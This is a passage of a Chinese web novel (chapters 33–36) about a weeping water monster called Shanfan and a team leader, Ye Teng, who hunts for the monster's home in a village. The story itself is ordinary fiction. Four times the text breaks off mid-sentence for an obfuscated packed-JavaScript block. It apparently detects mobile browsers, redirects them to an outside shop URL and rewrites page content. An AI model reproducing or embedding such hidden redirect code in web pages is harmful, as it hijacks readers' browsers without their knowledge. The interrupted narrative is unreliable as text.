泪水像断了线的珠子,顺着她消瘦的脸颊滚落,在地板上溅起微小的水花,她的肩膀剧烈起伏,仿佛要把这些年积攒的委屈都倾泻而出。 那个举着木棍的人愣住了,黝黑的手停在半空。 她的泪水太多太多了,山矾的眼泪如同决堤的洪水,地板上的灰尘被泪水冲刷出一道道蜿蜒的痕迹,然后迅速地被冲泡起来,脱离了地面。 “求求你们……”她的指甲深深掐进掌心,“让我在这里待一晚就好……” 泪水滴落的声音渐渐清晰起来。 轰隆—— 远处传来闷雷滚动的声音,震得地面微微颤动,山矾的眼泪越涌越多,在地板上汇成一片小小的水洼,那些晶莹的液体竟像是有生命一般,沿着木板缝隙朝着众人奔流过去。 “这…这怎么回事?”白发人惊恐地后退两步,踩到了身后人的脚。 雷声更大了。 墙壁上的裂缝以肉眼可见的速度扩张,蛛网般的纹路爬满了整面灰墙,屋顶的横梁发出令人牙酸的吱嘎声,木屑簌簌落下。 “快跑!”其他人扔掉木棍转身就要往外冲。 白发人尖叫着往门口冲去:“见鬼了!这该死的……” 话音未落,一股水流突然从墙角喷涌而出,浑浊的水流直接撞上一人后背,将他拍倒在地,他的脸重重磕在门框上,鲜血立刻从鼻孔涌出。 “救命啊!救救我!”一个瘦弱的小孩缩在角落,双手抱着自己瑟瑟发抖。 他的衣服已经被上涨的水位浸湿,水面正以惊人的速度没过他的脖颈。 山矾跪在原地,泪水仍在不断涌出。 白发人的手指死死扣住门框,门外显然也并不安全。 “快……快杀了她!”她咆哮着朝山矾扔过去了一根木棍,泥水溅起一人高,打湿了她破烂的上衣。 山矾丝毫无损。 小孩的眼睛瞪得极大,倒映着屋内不断攀升的水位:“不…不要……”他的牙齿不住地打颤,发出微弱的噪音。 有人一把拽住小孩的后衣领,雨水从天花板的裂缝中倾泻而下,混合着山矾的泪水,小屋摇摇欲坠,他用力拽着小孩的衣领往上方拖移。 水已经漫到白发人胸口,漂浮的杂物不断撞击他们的身体,一只破旧的木碗撞上她的膝盖,她疼得倒抽冷气却不敢松手,她半个身子挂在门框上,花白的头发湿漉漉贴在脸上。 山矾缓缓抬起泪眼朦胧的一张脸,潮湿的黑发贴在她惨白的脸颊上,她的手轻松地穿过厚重的水流,直触墙面,像是在寻找着什么。 “我的……”她的话语里仍然带着泣音,“我的家在哪里……” 白发人挣扎着抓住门框,指间早已渗出血丝:“怪物!你这个怪物!” 水位已经涨到胸口,即使被拖移起来,小孩还是呛了一口水,正在剧烈咳嗽。 “救…救救我们……”小孩虚弱地伸出手,指尖颤抖着指向山矾的方向。 一道闪电劈开夜空,瞬间照亮了山矾布满泪痕的脸,她的瞳孔在强光下收缩成一条竖线,嘴角不断拉长扩大。 “我的……”她喃喃自语,声音忽然变得异常清晰:“我的小屋……” 天花板发出不堪重负的呻吟,一根横梁轰然断裂,裹挟着木板砸向水面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459123|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨大的水花溅起,模糊了所有人的视线。 白发人发出最后一声凄厉的尖叫:“不!!!!” 浑浊的水流卷着她的身体狠狠撞向墙壁,骨骼碎裂的声音被淹没在洪流中。 “妈妈……”小孩的哭喊戛然而止,他的小脑袋沉入水下,只剩下几缕黑发在水面漂浮。 昏暗的雨幕中,山间小屋的轮廓逐渐扭曲变形,木质结构发出垂死的呻吟,瓦片如落叶般纷纷坠落,山矾的身影在暴雨中若隐若现,长发被狂风吹得凌乱飞舞,诡异的嘴角已经咧开到了耳边。 哗啦—— 雨水顺着屋檐滴落,砸在泥泞的地面上,山矾的裙摆沾满了泥浆,沉重的布料贴在腿上,每走一步都会带起一串水珠,她的十指纠结地绞在一起,关节处泛着青白。 “不是…不是这里……我的家……”她的声音很轻,转眼就被雨声吞没。 山矾注意到了什么,她蹲下身,捡起了一块碎裂的瓦片,锋利的边缘划破皮肤,血珠渗了出来,很快又被雨水冲刷干净。 雨水依旧肆虐,豆大的雨点砸在废墟上,发出密集的噪声,山矾站在废墟中央,浑浊的水流环绕着她,吞噬着残存的木板和瓦砾。 “我的……”她抬起手,接住从天而降的雨滴,冰凉的水珠在手心汇聚成一小滩水:“家……?” 远处传来微弱的呼救声,断断续续的,像是随时会消失。 山矾低头看着自己泡得发白的手指,指腹因为长时间浸泡而皱起。 咔嚓—— 脚下传来木板断裂的脆响,她低头看见一截浮肿的苍白手臂从废墟中伸出。那只手无力地摊开着,掌心向上,像是在祈求着什么。 山矾笑着看它。 如果还能祈求,那它也一定是怪物了,是和她一样的。 也许也不一样,谁知道呢?谁知道她现在是什么样呢? 和以前一样漂亮吗?还好看吗?还惹人喜欢吗? 山矾笑着。 脚下的水流突然变得湍急,裹着碎木片和布条从她身边流过,一块褪色的红布缠住了她的脚踝,布料上还残留着暗褐色的血迹。 山矾弯腰解开那块布,指尖触到粗糙的针脚,也许对方和她是同乡。 她将湿透的布料攥在手心,布料吸饱了水,穿过她的手沉甸甸地往下坠,远处的雨幕中,隐约浮现出一排低矮的房屋轮廓,烟囱里飘出几缕青灰色的炊烟。 好漂亮,好漂亮的小屋。 会有她的小屋吗?一定会有的吧。 总会有的,她的小屋。 山矾迈开脚步,积水在她脚下荡开层层涟漪。她的裙摆拖过水面,搅起浑浊的泥沙,每走一步,都能感觉到有什么东西在拉扯她的裙角,可能是水草,也可能是别的什么。 34. 第 34 章 雨水渐渐变小,细密的雾笼罩着这片区域,叶藤拖着湿透的裤脚,踩着泥泞的小路向前走去,远处那片低矮的房屋轮廓越来越清晰,偶尔还能听到几声犬吠夹杂在雨声中。 村口的木牌歪斜地插在土里,上面勉强能辨认出“东邻”两个字,木牌下堆积着被雨水冲刷下来的枯枝败叶,真是令人庆幸这周围竟然还有活树。 几个衣衫破旧的孩子正在村口的水坑边玩耍,他们用树枝戳弄着水中的什么东西,不时发出咯咯的笑声,其中一个扎着小辫的孩子抬头看见了叶藤,立刻丢下树枝跑回村里。 叶藤停下脚步,将湿漉漉的包裹放在村口的一块平整石头上:“总算到了……” 她解开包裹的结,几枚铜币从夹层中滚落出来,在石头表面上转了转,停了下来,叶藤用袖子擦了擦硬币上的水渍,感觉这么做好像没什么用,又将它们整齐地排列在石面上。 不远处,几个村民探头探脑地望向这边,一个戴着破草帽的老汉蹲在屋檐下,手里的烟斗冒着烟气。 老汉眯着眼睛,吐出一口烟:“外乡人?” 叶藤点了点头:“路过讨口水喝。” 老汉慢悠悠地站起身:“天要黑了,跟我来吧。” 他佝偻着背脊走在前面,草鞋陷进泥地里,一步一步走得艰难,几个孩子从茅草屋后探出头来,脏兮兮的脸上满是好奇。 叶藤跟着他穿过狭窄的土路,两侧的茅草屋散发着潮湿的霉味,几只黄狗趴在路上,见到生人只是懒洋洋地摇了摇尾巴。 雨变大了,雨水顺着叶藤的发梢滴落。 她抬手抹去脸上的水珠。 村口的老树下拴着几头瘦黄牛,它们甩着尾巴驱赶蚊虫,有些不耐地哞哞叫着,一个穿着蓑衣的老农正弯腰给牛槽添草料,听到动静后,他直起腰来。 “谁在那里?”老农举起马灯,昏黄的光线在叶藤身上晃了晃。 灯光穿透了带她进村的人,是直接招到叶藤身上的。 “您......”叶藤的话语卡在喉咙里,老汉转过脸来,皱纹里嵌着的雨水顺着半透明的面颊滑落。 几个孩子嬉闹着从他们身边跑过,似乎完全没注意到这个诡异的景象,一个小孩甚至直接从老汉的身体里穿了过去。 叶藤神情凝重。 又是这群莫名其妙出现的小孩,这种地方原本根本不可能会出现小孩才对。 但是现在不应该在这种问题上再思考下去了,又更多需要考虑的问题。 老农粗糙的手指紧紧攥着马灯的提手,脸上有些不安。 叶藤也挺不安的。 她下意识抓紧了胸前的布包:“我是从南边逃难来的。” 老农的眉头拧成了疙瘩,浑浊的眼珠上下打量着这个浑身湿透的人。 没有很大动静。 叶藤松了一口气。 也许随便找个房子先住住也行。 她和老农挥了挥手,老农仍然只是皱眉看她,她就干脆走远了。 周围有很多茅草屋,住人的话,应该是都没问题的。 叶藤推开吱呀作响的木门,潮湿的霉味扑面而来,混杂着陈年稻草的气息,屋内光线昏暗,只有一盏油灯在角落里苟延残喘地跳动着。 “就这样吧。”她将湿透的包袱扔在墙角,溅起一层灰尘,她仔细一看,角落里还有很多蜘蛛网。 屋外传来孩童追逐的脚步声,笑声隔着薄薄的土墙显得格外清晰,叶藤走到窗边,看到几个孩子在雨中嬉戏,他们的身影在暮色中模糊不清,时而穿过雨帘,时而消失在雾气里。 叶藤蹲在墙角,从贴身口袋里摸出一个金属物件,她用手指轻轻拨动侧面的齿轮,机械部件发出细微的咔哒声。 “滋啦——”通讯器里传来电流杂音,在寂静的屋内格外刺耳,叶藤赶紧捂住发声孔,警惕地瞥了眼紧闭的木门,门外孩子们的嬉闹声渐行渐远,最终被雨声吞没。 她压低声音对着通讯器:“是我。” 通讯器那头传来模糊的回应,断断续续的,像是被什么干扰着。 “山矾?”她重复着这个名字,声音压得极低。 窗外突然闪过一道黑影,叶藤猛地抬头,没有看见任何东西,她的心跳骤然加快,太阳穴突突直跳,通讯器里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459124|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂音变得更大了一点,叶藤隐约听到了哭泣声。 “呜呜......” 那声音忽然清晰起来,像是有人贴着通讯器在抽泣,叶藤身上汗毛倒竖,冰凉的感觉顺着脊椎爬上头皮。 似乎不只是通讯器里的声音…… 她猛地回头,木门依然紧闭,但门槛下的缝隙里不知何时渗进了一滩水。 水越渗越多,叶藤凑近看了一眼,恍惚间似乎看见了一张人脸,在笑着…… 不行,不能多看,不能多想。 通讯器突然爆发出刺耳的尖啸,叶藤差点脱手将它摔在地上,她慌忙关掉开关,屋内顿时陷入死寂,只剩下她自己急促的呼吸声。 砰—— 房门被猛地撞开,一个浑身湿透的小孩跌跌撞撞冲进来,她的辫子散开了,湿漉漉的头发贴在惨白的脸上,眼睛里盛满恐惧。 “救救我!”小孩的嘴唇冻得发紫,牙齿不住打颤,“水里有东西!” 叶藤抓起地上的木棍,挡在自己面前。 这些小孩没那么可信,或者说,用小孩作为面具的怪物没那么可信。 “什么东西?说清楚。” 小孩突然睁大眼睛,瞳孔收缩成一条竖线,她的指甲以肉眼可见的速度变长变黑。 是那个老农。 叶藤握着木棍的手沁出冷汗,她死死盯着眼前这个正在蜕变的生物。 老农缓缓举起锄头,锈迹斑斑的锄头似乎沾染了血迹,那双浑浊的眼睛此刻泛着青色,眼角渗出粘稠的液体。 “来吧!”叶藤将木棍横在胸前。 老农的嘴角突然撕裂到耳根,露出两排尖锐的獠牙,腐烂的腥臭味瞬间弥漫整个小屋。 叶藤猛然前冲,老农不闪不避,任由棍棒砸在肩头。 他似乎没有痛觉,叶藤眉头一皱。 老农咧开嘴朝天狂笑,低头正要对叶藤发起猛攻,却发现他身前已经没有了人影。 叶藤气喘吁吁地奔跑在东邻村中,手里还拿着通讯器。 那边的哭声终于渐渐停了下来,传来了正常的声音:“你……怎么样……” 35. 第 35 章 “在被怪物追着呢。” 叶藤也不清楚那边能不能听到自己的话。 “东邻村……木屋……” 是的,她就是来东邻村找木屋的。 进村以后她看见的全部都是茅草屋,没有看到半个木屋的影子,她怀疑这个村子里根本就没有木屋。 有也得找,没有也得找,来到东邻村的貌似就只剩她一个人了,如果找不到那个木屋,所有人都会死在“山矾”手里。 她这里关于“山矾”的信息也不多,只知道她是一个来自古代的姑娘,衣服看上去还挺齐整,应该有些身份,可能是个小地主家的女儿?那应该会有个木屋吧,她对古人也不是很了解,只能大概做猜测。 叶藤在小路上沿着指南针的方向一边跑一边画地图。 来这里之前她手里就有一张东邻村地图,但是画出来好像跟实际并不一样,村里的时代也和她想象的不太相同,她本来以为“山矾”应该是唐宋之类的时代的人,起码也在清朝吧,结果东邻村虽然到处都是茅屋,但是有的房屋里居然还通了电,真是稀奇。 叶藤没有在茅屋旁停留,她现在就是很后悔当初没有在飞行上进行过尝试,不然她现在飞到天上,简简单单看一眼就知道哪个房子最可能属于“山矾”那种的有钱人了。 不过也可能会因为太过醒目被“山矾”逮住。 山矾,山矾,哎呀,天天都是“山矾”。 叶藤挠了挠头,终于跑到了一间比较大的茅屋前。 还好自从世界陷入疯狂以后,人们的体力就不会再耗尽了,她可以像打游戏一样到处乱跑跑一整天图,甚至可以不吃饭。 有时候她也很怀疑会不会有人能从自己身上穿透过去。 除非遇到一些像“山矾”那样的boss受到泪海攻击,不然她都是不会受伤也不可能会死的。 虽然但是,叶藤感受着疲惫的大腿,有时候也会觉得,也许还是去死比较好。 茅屋的门被叶藤推开了,疯狂的世界里没有锁,每个门都很好推,她自己的房门也很好推。 说起来她也已经很久没有睡过觉了,本来以为东邻村就像之前她呆过的西乙村一样,村内氛围比外面和谐很多,她可以好好睡一睡的。 没有找到什么东西,左右无人,叶藤揣了点看起来比较值钱的东西放进背包里。 看来还是得找木屋。 叶藤四处寻找着。 天光还很暗沉,村里一直在下雨,不愧是“山矾”的原生小村。 村口还有下棋的,也许跟着他们会是一条捷径?毕竟如果不是身怀银两心境悠哉有钱有闲的人,怎么会有余暇去下棋?叶藤决定跟着他们。 她看着两人下了一会儿棋,发觉老农跟了过来。 老农只是跟了过来,没有像她一样走到棋盘边。 叶藤咽了口口水。 她怀疑自己跟着的是比老农更大的boss,但是不跟着这俩boss,就更没机会找到“山矾”老家,让她自己摆脱老农,让她的小队摆脱“山矾”了。 她可是全队的希望啊,不能止步于此。 她继续看着俩boss下棋。 看了一会儿,她感觉她有点懂下棋了。 两人下棋下得很慢,还喜欢边下棋边吵架,她觉得这两个人都吵得很弱智,于是自己也想跟着吵一吵。 但是她忍住了。 生于这样的时代,总要忍受一些常人不能忍受的东西,才能存活下去,就像她家里的大人喜欢说的那些话一样,至于她家里的大人忍受的是什么东西,她忍受的是什么东西,那大可不必深究。 叶藤忍到雨水把她的体温浇得若隐若现若有若无,棋盘边的两人终于看向了她。 叶藤觉得有点委屈,但是她又忍住了,没有显露出自己的委屈。 下棋老人一号问:“你这个小姑娘,好好的天气,不在家里休息,出来淋雨干什么?” “天气不好。”叶藤没忍住。 下棋老人一号和下棋老人二号一起大笑起来。 两人从棋盘边站起身,收拾起了自己的东西,像是想要回家去了。 叶藤也拧了拧自己灌满水的袖子。 老人一左一右走了。 叶藤犹豫了一下,跟着右边的老人走了,她觉得她幸运方向在右边。 右边的老人是下棋老人二号,二号老人回头看了她一眼,似乎注意到了她正跟在自己身后,但也没说什么,只是继续往前走。 叶藤松了口气,要是又要打架,她现在可不太想逃跑,腿太酸了。 老人散步很慢,叶藤也跟得很慢,她慢慢跟着老人,同时也在观察着这个村庄。 村庄里的人不像她以为的那样,虽然村口的人看起来都很贫穷,衣服脏脏乱乱的,但也有一些人衣服是很整齐的,不沾泥土的。 二号老人也是。 东邻村的人似乎都有些惧怕二号老人,一直离得远远的。 叶藤稍稍跑远,问了附近的人:“这个老人是谁?” “你不知道她是谁?”被她询问的人露出了一个嘴角拉长的微笑。 “我知道。”叶藤跑开了。 叶藤只好继续慢吞吞地跟着老人回家。 好在老人的家并不远,虽然腿脚慢,也走不了几步,到了家以后,她打开了冰箱,取了些吃的。 打开了……冰箱? 叶藤大为震撼。 哪里来的古代冰箱?茅屋里的古代冰箱?不要这样搞她,搞她的小队,她都不知道怎么跟队里说这是怎么个事。 关键是家里都有冰箱了“山矾”那里就至于那个样子啊,“山矾”看起来完全是个古代人啊,虽然但是“山矾”好像会说普通话。 老人注意到她也跟着进了门。 叶藤觉得有点尴尬。 老人在她的注视下,神情竟然变得骄傲了起来。 老人骄傲地吃着从冰箱里端出来的食物,吃一口仰一下头,露出十分满意的神秘微笑,于是叶藤更尴尬了。 她尴尬地问:“我可以也吃一点吗?” 其实她并不想吃,但是她感觉只要她这样说了,老人可能就会更高兴,更骄傲,然后她说不定可以像在西乙村的时候一样,睡一个甚至睡好几个好觉。 老人的笑容溢满了整张脸,她挺直腰杆站起身,又去冰箱里拿出了一样东西,递给叶藤。 叶藤低头看了看这是什么吃的。 是肠啊,还是片好了的。 不对,这是什么肠?腊肠? 叶藤尴尬地抿了抿唇。 老人期待地看着她。 叶藤想起她在西乙村的时候也是在这样热情好客的氛围下吃了睡睡了吃过了好长一段幸福生活,出去以后才知道西乙村是鬼村,她寻思也许这次也可以…… 她犹豫着闻了闻腊肠的味道。 可能因为是刚从冰箱里拿出来的,闻不到什么香味,她下意识用眼睛去找微波炉。 老人注意到了她的视线,越发骄傲了。 叶藤手里的冷藏腊肠很快变成了冒着热气的腊肠,很香。 虽然她不会饿了,但是面对很香的东西,她还是会很馋的,尤其是在她离开西乙村以后就没吃过什么正常食物的前提下。 叶藤大吃了一口腊肠。 老人捂着嘴笑,对她的表现很满意。 叶藤随便嚼了嚼,很快把腊肠咽了下去。 味道比较……比较平静?叶藤老家是吃辣味的腊肠,她知道广东那边有颜色很红的甜肠,东北那边有名字就很红的红肠,甜肠和红肠她都买来吃过,也不是这个味,当然颜色也不是这个颜色。 是什么地方的特产呢……叶藤又吃了一口。 老人有点脸红了。 很可疑啊,为什么看她吃腊肠会脸红啊?难道说……叶藤想到了一个可能。 是老人自己手工制作的腊肠吧? 她犹豫着开口,摆出崇拜的表情:“可以告诉我这个腊肠是怎么做的吗?” “可以啊。”老人发出了细如蚊讷的声音。 老人带她进了厨房。 叶藤犹豫着跟着老人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459125|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走近了厨房。 好在厨房里并没有什么诡异的尸体,都是她早已看到麻木甚至感觉香喷喷的动物尸体。 只是她没想到这个灶竟然又是土灶了,房间里的墙也像是没有刷过漆的水泥墙,也可能是土墙?叶藤也不懂这些。 队伍里常常有人对她这个队长这也不大懂那也不大懂这一点表现出明显的不满和憎恶,不过那些人陆陆续续都死了,所以叶藤至今还是队长。 老人温柔地向叶藤传授起了她的手工腊肠制作工艺。 叶藤一步步跟着做,很快记住了步骤,老人的神情变得有些落寞。 她赶紧忘记了一步,老人愤怒地批评了她,然后又变得很有精神了。 她说她一天两天可能学不会怎么做腊肠,老人挑剔地看了她一眼,说做腊肠当然不是一天就能学会的,要她留下来休息,明天继续跟着学做腊肠。 叶藤态度端正地点了点头,发誓要把腊肠做到最好。 晚上她就在老人家里呼呼大睡。 早上老人天没亮就醒了,没喊她起来,虽然叶藤其实也已经醒了,但是叶藤打算在房间里再装睡一会儿。 毕竟一醒过来可能就要开始学习做腊肠,很少有干别的事情的机会了。 她试着联系小队里的成员。 最近东45区遭受到了“山矾”的袭击,目击者有很多,有人说“山矾”是一个小姑娘,有人说“山矾”是一个小女孩,总之没人说过“山矾”是一个老太太,在老人这里打探可能起不到什么作用。 不过更多人说“山矾”是个怪物,从怪物这个角度上来说,淋一天雨完全没有要感冒的意思,还能灌半天腊肠的老太太,也未必不能是“山矾”。 叶藤收集到了一些消息,有一条是“山矾”已经在往东46区移动了。 东46区是最新开放的区域,人口数量远比东45区要多,而且里面有大量老人和小孩,东45区的很多人都有亲人在那边。 坏消息,下一条。 有人让“山矾”进屋子里住了一晚,但是遇到了别的怪物不长眼睛要杀“山矾”,最后当事人瘸了一条腿逃出来,怪物可能全死了。 不知道是好是坏的消息,还是下一条吧。 “山矾”出现在东45区边缘,它没有哭。 没哭挺好。 叶藤一条条翻完所有情报,发现全是没用的消息。 唉,没用的消息,没用的人,这就是她的小队成员,和她互相厌烦的小队成员。 外面的天空从全黑转变到阴暗,昨晚下了一夜的雨,今早又在下雨,不愧是“山矾”的故乡,春雨是完全不贵天天都有的。 叶藤起床就去厨房打算跟着学做腊肠,发觉老人不在厨房,那她只能先去找老人了。 她估计老人又在下棋,她还记得她们下棋的位置。 还可以做个地图标注上传到通讯器,啧,看吧,这个小队里唯一能提供有效信息的只有她了。 叶藤麻利地跑了起来。 老人果然又在那里下棋,叶藤一过来,二号老人就向朋友道别,看向了叶藤:“走吧,跟奶奶回去做腊肠。” “哦,好的,奶奶。” 叶藤没料到会是这种情况,脸上的表情不够濡慕,有点尴尬。 老人慈祥地看着她:“什么奶奶?” 叶藤左思右想,实在想不出该回答是什么奶奶。 难道是大少奶奶?以她粗浅的古代知识,觉得也不是完全没可能,毕竟是用得起冰箱的古人,应该会有一定的几率是大少奶奶吧?她知道很多古人都用不起冰箱的。 不过也可能是姑奶奶,听说姑奶奶也是非常厉害,现代人就经常用“姑奶奶”三个字展现气场,在古代肯定更加威风。 “是山奶奶,要认人啊。”老人笑着摇了摇头。 “好的山奶奶,我一定会记住的山奶奶!”叶藤开始装傻。 也许不需要装,她一个完全没有这方面知识的人,在这种场合,就是会看起来很傻。 老人噗嗤一笑,带着她回去做腊肠了。 36. 第 36 章 虽然山奶奶家里有冰箱,但是没有绞肉机,所以腊肠里的肉都是要人工手剁的。 叶藤知道一些上了年纪的人就算有了绞肉机也更倾向于自己手工剁肉,她在家的时候也因为这样的原因跟着长辈一起剁过肉,那时候她身上没什么肌肉,剁完肉浑身疼。 山奶奶也没什么肌肉,但她剁肉能剁一天。 叶藤也只能跟着剁一天,还要假装很不会剁肉。 很不会剁肉当然是会挨山奶奶的骂的,毕竟山奶奶不是她亲奶奶,虽然她亲奶奶好像也会骂她。 骂了她一天的山奶奶神清气爽,摸着鱼剁了一天肉吃了一天肠的叶藤第二天从床上醒来也是神清气爽。 如果生活可以一直这样就好了,叶藤的思想不免有些堕落了。 就这样没有“山矾”,没有怪物,她的肌肉越来越强壮,睡眠越来越健□□活越来越……阿不,完全不幸福。 谁会觉得天天挨骂是幸福的啊…… 不过也已经很幸福了,毕竟上学上班的时候谁不是没事就要被来一波AOE,所有人都要一起挨骂,有时候还要挨打,有时候又要扣钱。 叶藤摇摇头,继续玩自己的腊肠。 她虽然没学会怎么做腊肠,但是玩腊肠的艺术突飞猛进,当然,这些在山奶奶眼里都是不务正业,在队员眼里也是,最近因为她一直在发布她的腊肠艺术品,队员们又对她厌烦了许多。 她也早就不想当队长了,厌烦就厌烦吧。 山奶奶不彻底厌烦她就行。 为了不让山奶奶彻底厌烦她,在学习做腊肠这件事上,她偶尔也是会有一些小进步的,比如知道怎么把腊肠肉不用工具慢慢塞进肠衣里。 不用工具,靠自己的本事,在山奶奶这里永远是加分项,叶藤相信自己会在这里学到越来越多的自己的本事。 就是老是有队员觉得山奶奶就是“山矾”,叫她快点把山奶奶杀了,她不杀就一直骂她,这点让她很不爽,她有点想退网一段时间了,但是退网的话她好不容易画完的地图就没法看了,所以她又只能忍着。 她知道大人物都应该有容人的雅量,所以她又忍下了这一次,就是不知道什么时候能有个更有容人的雅量的人来替她做这个队长去容忍她。 叶藤觉得山奶奶不一定叫山矾。 在农村这种地方叶藤总是比很多队员过得好,叶藤觉得有很大一个可能的原因就是,她其实是从农村里出来的。 小时候她在农村里要负责跟着长辈在庙里记功德,清扫周围道路,还有拿村民给的钱去买东西装扮寺庙,做些斋菜什么的。 听别人说这算是巫祝?她觉得应该不是,毕竟她的老家很快就只有过年那几天有人了,所以她也只在过年那几天回老家记记功德砍砍草,斋菜也已经是大家一起做了,村民给的钱里都没有她的工资了。 但是疯狂世界好像还是给了她巫祝的权限,别人会看到她身份信息里有【巫祝】,以为她是什么很了不起的人,其实只是看到村里老人可以聊两句而已,啊,还有不会被催婚这样。 她觉得她唯一有攻击性的技能就是【巫祝赐福】给别人一碗符水,别人不得不喝下然后去死。但是基本上她很难在突然遇袭的时候掏出一个碗再去倒水,而且她作为一个实际上只是在写字砍草做饭的巫祝,根本不知道怎么做符水。 也许她应该向别的巫祝讨教一下,但是她看到过的人职业大多数似乎都是【程序员】【会计】之类的,很少有巫祝这种乱七八糟的职业。 总之,依据她作为一个农村人的常识,山奶奶姓山,可能只能意味着,这个村子里大多数人都姓山。 通讯器里有人说在古代女人都是从外面嫁进来的,山奶奶既然是奶奶,那肯定只有她一个人姓山,既然东邻村就是检测到和“山矾”能量波动一致的坐标,山奶奶九成概率就是“山矾”。 但是她在山奶奶家里看到了冰箱,山奶奶貌似不是古代农村人,是现代农村人。 是现代农村人的话,她作为每年都在拿着个大本本记功德点人数的那个巫祝,很确定农村也是有很多同姓老奶奶的,而且有很多都是很受人尊敬的姑奶奶太姑奶奶。 况且儿媳妇往往是要去伺候老人的,老了死得也很早,姑奶奶才会悠悠闲闲地在村口下棋,同姓的后辈一声也不敢吭,把她的笔抢走自己觉得她字写得烂要自己写功德的姑奶奶也多得很。 总之她觉得,以山奶奶的年龄和地位,八成就是姑奶奶,不是外嫁来的。 如果判断错了,那也没办法,毕竟她一直就是这样一个“你什么都不懂”的队长来着, 山奶奶家里几乎没有外人进来,也许也没有内人进来? 叶藤跟着山奶奶住了十天,只见过山奶奶出去跟另一个奶奶下棋,好吧,她问过名字了,那个奶奶不姓山,因为这个消息,又有很多人对她很有意见了。 有意见自己过来杀呗,地图她也画好了。 另一个奶奶姓李,李奶奶和山奶奶是很好的朋友,两位确实都是姑奶奶,一个李家姑奶奶,一个是春家姑奶奶,是这个村子里人口最多的两大姓。 东邻村有个小工厂,两位姑奶奶都在厂里打工,自从了解到这一点以后,叶藤也不用再整天做腊肠了,山奶奶要去上班了。 山奶奶还年轻了很多,叶藤给青年版山奶奶拍了照片发到通讯器里,终于没有人再对山奶奶喊打喊杀了,还有人真的敢走进这个村庄了。 叶藤非常欣慰,非常感动,拿出了非常水平下的演技,去和这个过来的队员见了一面。 这个队员叫刘全,职业是【程序员】,据说他有一个非常难得的技能,那就是无论如何都不会猝死。 这个技能难得就难得在,它可以让刘全不被怪打死。 是神级T来着,就是胆子有点小,虽然进了队,但基本上是不参团的,好不容易参了团也会打到一半尖叫着跑路,队里经常有别的【程序员】抱怨这么好的技能怎么就给他用了。 叶藤觉得如果别的【程序员】也像刘全这么懂得知难而退从不为难自己的话,应该也会有这样的技能的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459126|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为什么跑到这里来?”叶藤抱着胳膊怀疑地问他。 难得在最前方能看见刘全的身影。 刘全警觉地压低声音:“外面已经到处都是‘山矾’了。” “真的吗?还是你的被害妄想症?” 刘全真的有被害妄想症,他的身份信息里就有很大一个【被害妄想症】。 刘全认真地点了点头:“你在这里不知道外面的样子,你看我的鞋和袜子,都快要被泡烂了,我说话可能会因为我有病我的病会骗你,我的状态,我的鞋和袜子不能撒谎吧?” 最近山奶奶没怎么出去下棋,叶藤天天呆在家里,身上的衣服都是干燥的,还在厨房里烤得很暖和。 刘全舔了舔嘴巴:“你身上好像有肉味?” “废话。” 人当然会有肉味。 “不是,我是说,吃的,像……”太久没吃过东西,刘全思考了一下:“像烤肠?” “是腊肠,不过味道确实做得有点像烤肠。” 叶藤回想起这是什么平静的味道了。 火山石烤肠?肉比较多那种,还有一点脆骨,因为不算健康所以她没吃过几次,感觉是跟一般的肉比较多的腊肠区别不大。 对,山奶奶其实不会做腊肠,只是用的是腊肠的肠衣,而且肉也没有烤肠那么新鲜……等等,商家卖的烤肠用的肉真的更新鲜吗? 叶藤摇摇头,不去多想了。 是这样的,她就是那种传说中的最没有见识的人,上不认识奢侈品,下不认识田里的庄稼,居然把烤肠当作了腊肠…… 不对,那应该就是腊肠。 烤肠哪有黑红的,烤肠是粉色的,腊肠才是黑红的,只是味道确实是烤肠的味道,奇怪…… 她感觉到有一双颤抖的手按住了她的肩膀,用力摇了摇。 “怎么了?”叶藤抬眼看刘全。 “你想到什么了?我们会去到哪里?”刘全颤着嗓子问。 